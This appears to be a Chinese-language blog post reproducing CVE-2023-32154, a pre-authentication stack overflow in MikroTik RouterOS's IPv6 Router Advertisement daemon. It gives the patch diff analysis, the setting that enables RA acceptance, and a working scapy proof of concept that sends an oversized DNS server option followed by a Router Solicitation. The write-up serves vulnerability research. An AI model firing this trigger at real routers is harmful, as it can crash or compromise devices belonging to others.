routeros CVE-2023-32154 复现

pwn2own上orange团队利用的漏洞,认证前rce。但是经过我自己的实验发现是非默认配置,且前置条件比较多。

0x00 CVE信息

What this issue affects: The issue affects devices running MikroTik RouterOS versions v6.xx and v7.xx with enabled IPv6 advertisement receiver functionality. You are only affected if one of the below settings is applied:

通过官方描述,得知漏洞存在于ipv6的RA协议中。

Router Advertisement(RA)是IPv6协议中的一种控制消息,用于告知网络中其他设备关于路由器的存在和IPv6地址分配信息。RA消息通常由网络中的路由器定期广播,以便其他设备可以获取路由器的信息并使用IPv6协议与其通信。

在RouterOS中,RA功能是路由器的一个基本功能,它可以通过配置路由器的接口参数来启用。当启用RA功能后,路由器将会在指定的接口上定期广播RA消息,使得其他IPv6设备可以通过接收这些消息来自动配置自己的IPv6地址和路由信息。

0x01 漏洞分析

找到负责RA协议处理的二进制,radvd进行bindiff,发现新版本的patch主要在下面这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
while ( v21 != a2 + 1 )
{
v9 = sub_804E434(v8);
if ( (_BYTE)v9 )
{
v10 = operator<<(&unk_80554C0, "adding DNS server option, address=", v9, v9);
v11 = operator<<(v16, v21 + 3, v10, v21 + 3);
v12 = operator<<(v11, v20, v17, v18);
endl(v12);
}
v19 = v21[4];
v13 = v21[5];
v14 = v21[6];
*(_DWORD *)(a1 + v3) = v21[3];
*(_DWORD *)(a1 + v3 + 12) = v14;
*(_DWORD *)(a1 + v3 + 4) = v19;
*(_DWORD *)(a1 + v3 + 8) = v13;
v3 += 16;
tree_iterator_base::incr((tree_iterator_base *)&v21);
}

可以看到这段逻辑循环终止条件是v21这个vector到末尾,并且在循环过程中会把vector中的内容向a1上拷贝。其实再向上追一下可以发现a1是上层函数中的一个栈上的变量且大小是固定的。因此只要这个vector中的内容足够大便可以造成栈溢出。

在后续版本中,这部分逻辑检测了vecotr上的总容量要小于栈上的大小,后续又将栈上的变量直接改为了动态分配的vector,永绝后患。

在上层函数中,a1变量对应v126,可见这段代码整体逻辑就是把vecotr上的DNS server option拷贝到栈上组成一个包,然后发送出去。其他的关于RA的配置信息也是如此构造。

1
2
3
4
5
6
7
8
message.msg_name = v129;
message.msg_iov = (struct iovec *)v126;
message.msg_flags = 0;
message.msg_namelen = 28;
message.msg_iovlen = 1;
message.msg_control = v130;
message.msg_controllen = 32;
result = sendmsg(fd, &message, 0);

根据对ipv6协议的学习,我们可以通过先向Mikrotik发送通过发送路由器通告RA(Router Advertisement)报文去把DNS server option这个vector设置的很大。然后再路由器请求RS(Router Solicitation)报文)来让Mikrotik把自身的配置通告给邻居设备来触发这段逻辑的执行。

0x 02 漏洞触发

首先需要设置路由器可以接收RA报文,默认其实是不接受的

1
ipv6/settings/ set accept-router-advertisements=yes

查找RFC构造NS和NA报文来触发漏洞,这里我选择scapy,scapy在文档中均有对RA和RS报文的实现。我们对RS报文原封不动,修改RA报文的extion部分的DNS server option即可

根据rfc6106,DNS server option格式如下

1
2
3
4
5
6
7
8
9
10
11
 0                   1                   2                   3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type | Length | Reserved |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Lifetime |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
: Addresses of IPv6 Recursive DNS Servers :
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

0x03 poc

最终构造poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from scapy.all import *
target_addr = "fe80::20c:29ff:fe03:f73"


class MyICMPv6NDOptRDNSS(Packet):
name = "ICMPv6 Neighbor Discovery Option - Recursive DNS Server Option"
fields_desc = [ByteField("type", 25),
ByteField("len", 17),
ShortField("res", None),
IntField("lifetime", 0xffffffff),
StrField(
"dns", "AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCC")
]




# 构造 RA 消息
ra = IPv6(dst=target_addr) / \
ICMPv6ND_RA()


pkt = ra / \
MyICMPv6NDOptRDNSS()
# 发送 RA 消息
send(pkt)

# 发送RS消息
rs = IPv6(dst=target_addr) / ICMPv6ND_RS()
send(rs)
-------------本文结束感谢您的阅读-------------
+ +